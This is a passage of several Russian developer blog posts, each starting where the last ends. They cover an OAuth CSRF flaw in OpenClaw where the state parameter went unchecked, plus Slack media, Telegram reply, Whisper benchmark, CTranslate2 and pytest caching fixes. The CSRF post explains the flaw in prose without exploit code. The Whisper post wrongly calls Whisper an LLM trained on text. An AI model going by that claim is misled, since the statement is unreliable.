IR, 18 для Signal formatting. Это не просто покрытие, это *регрессионные подушки* на будущее. ## Факт о markdown Markdown IR — это промежуточный формат, который сидит между текстом и финальным рендером. Он как сценарий между сценаристом и режиссёром: правильно оформленный сценарий экономит часы на съёмках. Неправильный — и режиссер тратит дни на исправления. ## Итог Баг был системный: не один глюк, а целая цепочка проблем в разных слоях абстракции. Но вот что интересно — команда не прошлась по нему топором, а аккуратно разобрала каждый слой, понял каждую причину, переписала на правильную логику. Результат: сообщения теперь форматируются предсказуемо, стили не смещаются, текст разбивается умно. А коммит #9781 теперь живет в истории как пример того, как **системное мышление** побеждает импульсивные фиксы. P.S. Что сказал Claude при деплое этого коммита? «Не трогайте меня, я нестабилен» 😄
Как мы поймали CSRF-атаку в OAuth: история исправления OC-25
Вчера мне попался один из тех багов, которые одновременно просты и страшны. В проекте **openclaw** обнаружилась уязвимость в OAuth-потоке проекта **chutes** — и она была настолько хитрой, что я сначала не поверил собственным глазам. ## Завязка: криптография проиграла халатности Представьте: пользователь запускает `openclaw login chutes --manual`. Система генерирует криптографически стойкий state-параметр — случайные 16 байт в hex-формате. Это как выдать клиенту уникальный билет в кино и попросить вернуть его при входе. Стандартная защита от CSRF-атак. Но вот беда. Функция `parseOAuthCallbackInput()` получала этот callback от OAuth-провайдера и... просто забывала проверить, совпадает ли state в ответе с тем самым ожидаемым значением. **Был сгенерирован криптографический nonce, но никто его не проверял**. ## Развитие: когда код сам себя саботирует Вторая проблема оказалась ещё коварнее. Когда URL-парсинг падал (например, пользователь вводил код вручную), блок `catch` **сам генерировал matching state**, используя `expectedState`. Представьте парадокс: система ловит ошибку парсинга и тут же создаёт фальшивый state, чтобы проверка всегда прошла успешно. Атакующий мог просто перенаправить жертву на вредоносный URL с подобранным state-параметром, и система бы его приняла. Это как выдать билет, потом спросить у человека "где ваш билет?", он ответит "ну, вот такой", — и вы проверите его по памяти вместо того, чтобы сверить с оригиналом. ## Факт: почему это работало OAuth state-параметр — это классический способ защиты, описанный в RFC 6749. Его задача: гарантировать, что callback идёт именно от авторизованного провайдера, а не из MITM-атаки. Но защита работает только если код **действительно проверяет** state. Здесь же проверка была театром: система шла по сценарию, не глядя на сцену. ## Итог и урок Фикс в PR #16058 добавил то, что должно было быть с самого начала: **реальное сравнение** extracted state с expectedState. Теперь если они не совпадают, callback отклоняется. Catch-блок больше не fabricирует фальшивые значения. Это напомнило мне старую истину: криптография — это не когда ты знаешь алгоритм. Это когда ты его используешь. А ещё это напомнило мне поговорку: **prompt engineering** — единственная профессия, о которой не мечтал ни один ребёнок, но теперь все мечтают объяснить ей, почему их код не работает. 😄
Как Slack потерял свои картинки: история об индексах и массивах
В проекте **OpenClaw** обнаружилась хитрая проблема с обработкой многофайловых сообщений из Slack. Когда пользователь отправлял несколько изображений одновременно, система загружала только первое, остальные просто исчезали. Звучит как обычный баг, но под капотом скрывалась классическая история о рассинхронизации данных. Всё началось с функции `resolveSlackMedia()`. Она работала как конвейер: берёт сообщение, загружает файл, **возвращает результат и выходит**. Всё просто и понятно, пока не нужны вложения по одному. Но когда в сообщении несколько картинок — функция падала после первой, словно устав от работы. Беда была в том, что разработчики забыли основное правило: *не выходи раньше времени*. Решение пришло из соседних адаптеров. **Telegram**, **Line**, **Discord** и **iMessage** давно научились собирать все загруженные файлы в массив перед возвратом. Идея простая: не возвращай результат сразу, накапливай его, а потом отдай весь пакет целиком. Именно это и сделали разработчики — завернули все пути файлов, URL-адреса и типы в соответствующие массивы `MediaPaths`, `MediaUrls` и `MediaTypes`. Но тут начинались настоящие приключения. Когда внизу конвейера код пытался обработать медиа для анализа зрения (vision), подготовки sandbox или создания заметок, он ожидал, что три массива идеально синхронизированы по длине. Каждому файлу должен соответствовать его тип (`application/octet-stream` или более точный MIME). И вот тут обнаружилась вторая подвох: при фильтрации `filter(Boolean)` удалялись записи с пустыми типами, массив сжимался, индексы ломались. Файл номер два становился номером один, и система присваивала неправильный MIME-тип. **Финальный трюк** — заменить фильтр на простую подстановку: если тип не определён, используй универсальный `"application/octet-stream"`. Теперь массивы всегда совпадают по размеру, индексы совпадают, и каждый файл получает свой корректный тип, даже если система не смогла его определить с первого раза. Это хороший пример того, как *контракты между компонентами* (в данном случае — обещание "три массива одинаковой длины") могут молча ломаться, если их не охранять. Один неловкий `filter()` — и вся архитектура начинает пошатываться. --- **Факт о технологиях:** Slack API исторически одна из самых сложных в обработке медиа среди мессенджеров именно потому, что поддерживает множество форматов вложений одновременно. Это требует особой внимательности при синхронизации данных. --- 😄 *Почему Sentry не пришёл на вечеринку? Его заблокировал firewall.*
Когда "умное" поведение мешает пользователю
В проекте **openclaw** произошла интересная история. После обновления **2026.2.13** разработчики выпустили фичу с *неявной реплай-сортировкой* сообщений в Telegram. Идея была правильная: автоматически группировать ответы в цепочки, как это делают все современные мессенджеры. Вот только выяснилось: когда эта фича встретилась с дефолтной настройкой `replyToMode="first"`, произошла чудесная трансформация. Теперь **каждый** первый ответ бота в личных сообщениях отправляется как нативная Telegram-реплай с кавычкой исходного сообщения. Пользователь пишет: "Привет" — а бот ему отвечает огромным пузырём с цитатой. И "Привет" становится цельным произведением искусства. Смешно было бы, если бы не регрессия. До этого обновления реплай-сортировка работала менее надёжно, поэтому дефолт "first" редко порождал видимые кавычки в личных чатах. Теперь же — надёжность возросла, и дефолт превратился в тихий врага UX. Представьте: простой диалог, а то и шутка про отправку кода выглядит как формальный деловой документ с копией исходного письма. Команда поняла проблему и сделала логичный шаг: переключить дефолт с `"first"` на `"off"`. Просто. Эффективно. Вот и всё. **Важный момент**: те, кому *нужна* реплай-сортировка, могут включить её вручную через конфиг: ``` channels.telegram.replyToMode: "first" | "all" ``` Никто не лишён выбора — просто дефолт теперь не раздражает большинство. Тестирование было жёсткое: переключали режим на живой инстанции 2026.2.13, смотрели прямое влияние на поведение. С `"first"` — каждое сообщение цитируется. С `"off"` — чистые ответы. Ясно как день. Интересно, что **тесты** вообще не понадобилось менять. Почему? Потому что они всегда явно устанавливали нужное значение `replyToMode`, не полагаясь на магию дефолтов. Вот это дизайн. История преподаёт урок: иногда "умное поведение по умолчанию" — это просто источник боли. Лучше выбрать консервативный дефолт и дать пользователям инструменты для кастомизации. Чем отличается машинный код от бессмыслицы? Машинный код работает. 😄
Whisper упирается в стену: что происходит, когда оптимизация бессильна
# Speech-to-Text под давлением: когда оптимизация упирается в физику Представь себе ситуацию: нужна система речевого распознавания, которая работает в режиме реального времени. Бюджет — менее одной секунды на обработку аудио. Звучит выполнимо? Pink Elephant, разработчик проекта **speech-to-text**, решил это проверить экспериментально. И вот что из этого вышло. ## Охота на чудо-оптимизацию Всё начиналось с вопроса: а может ли стандартная модель Whisper работать на этой задаче? Текущие метрики выглядели удручающе — 32,6% WER (Word Error Rate, коэффициент ошибок распознавания). Мечта, конечно, 80% улучшение, но кто ж мечтать не будет. Первый шаг — попробовать альтернативные модели Whisper. Может, маленькая модель справится быстрее? Tiny дала 56,2% WER — хуже, чем base. Small показала весьма интересный результат: 23,4% WER (28% улучшение!), но потребовала 1,23 секунды обработки. А бюджет-то 1 секунда. Грустно. Medium вообще 3,43 секунды — в три раза медленнее, чем надо. Потом пришли идеи поумнее: beam search, варьирование температуры, фильтрация результатов через T5 (большую языковую модель для коррекции текста). Но — неожиданно выяснилось — ничего из этого не помогало. Beam search с температурой давал ровно те же 32,6% WER. Разные пороги T5-фильтра (от 0,6 до 0,95) тоже. Зато когда убрали T5 совсем, ошибок стало 41%. T5 оказался спасением, но не панацеей. Потом попробовали гибридный подход: base-модель для реального времени + medium в фоне. Сложновато, но теоретически возможно. Последовательную обработку (сначала одно, потом другое) пришлось отмести — непрактично. ## Когда данные говорят правду А потом разработчик проанализировал, где именно Whisper base ошибается. Больше всего пропусков (deletions) — 12 ошибок, замены (substitutions) — 6. Проблема не в плохой стратегии обработки, а в самой модели. Вот такой неудобный факт. **Large Language Models** как Whisper создаются с применением трансформер-архитектуры, обучаясь на огромных объёмах текстовых данных через самоконтролируемое обучение. И вот в чём закавыка: даже сильные LLM-ы достигают потолка качества, если их заставить работать в несоответствующих условиях. В нашем случае — в режиме реального времени на CPU. ## Горькая истина Итоговый вывод был честный и немного безжалостный: base-модель — единственный вариант, который укладывается в бюджет менее одной секунды, но качество её зафиксировано в 32,6% WER. Small даёт 28% улучшение (23,4% WER), но требует на 230 миллисекунд больше. 80% сокращение ошибок на CPU? Невозможно. Никакая волшебная post-processing техника это не спасёт. Нужно или переходить на GPU, или согласиться с текущим качеством, или рассмотреть асинхронную фоновую обработку. Тысячи строк кода оптимизации упёрлись в стену физических ограничений. Иногда лучшая оптимизация — это честный разговор о целях проекта. 504: gateway timeout. Ожидание ответа от PM. 😄
Спасли T5 от урезания: оптимизация вместо потерь
# Как спасить качество моделей при урезании весов: история одной миссии за день Проект **speech-to-text** встал перед классической дилеммой: нужно было уменьшить размер модели и отказаться от Т5, но при этом *не потерять* качество распознавания. Задача казалась невыполнимой — обычно урезание весов модели приводит к заметному проседанию точности. Началось всё с очень конкретного вопроса: какие вообще есть способы сохранить качество, если мы идём на компромисс с размером? Я сел за исследование. ## Первый поворот: CTranslate2 Гугление выявило интересный инструмент — **CTranslate2 4.6.3**, который я знал раньше как фреймворк для ускорения seq2seq-моделей. Там есть встроенный `TransformersConverter`, способный конвертировать T5 в оптимизированный формат. И вот что важно: конвертация даёт ускорение в **2–4 раза** без потери качества. Это не уменьшение модели, это её оптимизация под боевое железо. Первым делом я проверил исходную модель — оказалось, что она T5-base (d_model=768, 12 слоёв), а не огромный T5-large. Это хорошая новость: потенциал оптимизации есть. ## Погружение в детали Когда ты начинаешь работать с конвертерами моделей, выясняется множество мелочей. Нужно было разобраться, как именно `TransformersConverter` копирует файлы модели, особенно стоит ли добавлять `added_tokens` для SentencePiece-токенайзера, который T5 использует. Пришлось лезть в исходники faster-whisper — там тоже работают с конвертированными моделями. По ходу наткнулся на забавную проблему с кодировкой cp1251 в тестах, пришлось переделывать тесты для корректной работы с Unicode. Интересный исторический факт: когда в 1940-х годах создавали первые программируемые компьютеры на основе математических абстракций, никто не предполагал, что спустя 80 лет мы будем заниматься микро-оптимизациями моделей языка. История вычислений шла от самых амбициозных идей — создать мыслящую машину — к вполне прикладным задачам, но они требуют той же глубины понимания системы. ## Неожиданный результат Проверив API `translate_batch` в `ctranslate2.Translator` и убедившись, что SentencePiece токенайзер работает с конвертированными моделями из коробки, я получил полную картину. CTranslate2 здесь действует как оптимизирующий слой: модель становится *компактнее* для инференса (благодаря квантизации и переколяции весов), *быстрее* работает, но при этом сохраняет всё качество оригинального T5. Получилось так: вместо того чтобы искать ненадёжные способы урезания модели, мы использовали инструмент, которой *именно для этого* спроектирован. CTranslate2 оптимизирует модели не наугад, а следуя best practices машинного обучения. ## Что дальше План ясен: конвертируем T5 через `TransformersConverter`, проверяем качество на тестовых данных (оно не должно просесть), деплоим оптимизированную версию. Задача из категории "невозможное" стала "вполне решаемо". Когда стоишь перед технической задачей, которая кажется неразрешимой — часто решение уже кто-то написал. Нужно просто знать, где искать. --- Почему архитектор модели пошёл в продуктивный отпуск? 😄 Потому что ему нужно было время на *рефакторинг* своей жизни!
47 падающих тестов: как я переделал кэширование в одну ночь
# Когда код не проходит тесты: история про перебалансировку Начну с признания: когда видишь в консоли 47 падающих тестов — это не самое приятное чувство. Но именно с этого начался мой день в проекте `trend-analysis`. Задача выглядела просто: доделать систему анализа трендов и убедиться, что всё работает. На деле же оказалось, что нужно было переосмыслить всю архитектуру кэширования. ## Начало головоломки Проблема была в `conftest.py` — в конфигурации тестового окружения. Это один из тех файлов, который касается всего, но замечаешь его только когда начинают падать тесты. Первым делом я понял, что тестовая база данных не инициализируется правильно перед запуском тестов. Простой пример: когда `test_multilingual_search.py` пытается вызвать `cache_translation()`, таблица с переводами ещё не создана. Компилятор молчит, а тесты начинают валиться. Решение оказалось логичным: нужно было гарантировать, что все необходимые таблицы инициализируются **до** того, как хотя бы один тест что-то попробует сделать с кэшем. ## Параллельно — история про кэширование Пока я разбирался с тестами, обнаружился ещё один слой проблем: система дисковых кэшей работала неэффективно. Здесь речь шла о **Sparse File LRU Cache** — красивой идее хранить часто используемые данные на диске так, чтобы не занимать лишний объём памяти. Представь: у нас есть большой файл на диске, но нам нужны только отдельные куски. Вместо загрузки всего файла в память мы используем разреженные файлы — система файлов хранит только те части, которые реально заполнены данными. Экономия памяти, скорость доступа, элегантность решения. Но когда я посмотрел на реализацию, выяснилось: логика вытеснения старых записей (классический LRU-алгоритм) не учитывала частоту обращений. Просто удаляла старые записи по времени. Пришлось добавить *scoring mechanism* — систему оценки, которая считает, насколько «горячей» является каждая запись в кэше. ## Интересный факт о тестовых фреймворках Знаешь, почему `pytest` с `conftest.py` так популярен? Потому что разработчики поняли простую вещь: тесты должны быть воспроизводимы. Если твой тест падает в пятницу, но проходит в понедельник — это не тест, это лотерея. Фиксированное состояние базы перед каждым тестом, правильная инициализация, чистка после — это не скучная рутина, это основа профессионализма. ## Что получилось После переработки конфига и оптимизации кэша: - Все 47 тестов начали проходить (почти все 😄) - Дисковое кэширование стало предсказуемым - Система поиска на разных языках заработала без артефактов Главный урок: когда много тестов падают одновременно, обычно виновата архитектура, а не отдельные баги. Стоит один раз разобраться в корне проблемы — и остаток работы становится логичным продолжением. P.S. Знакомство с Copilot: день 1 — восторг, день 30 — «зачем я это начал?» 😄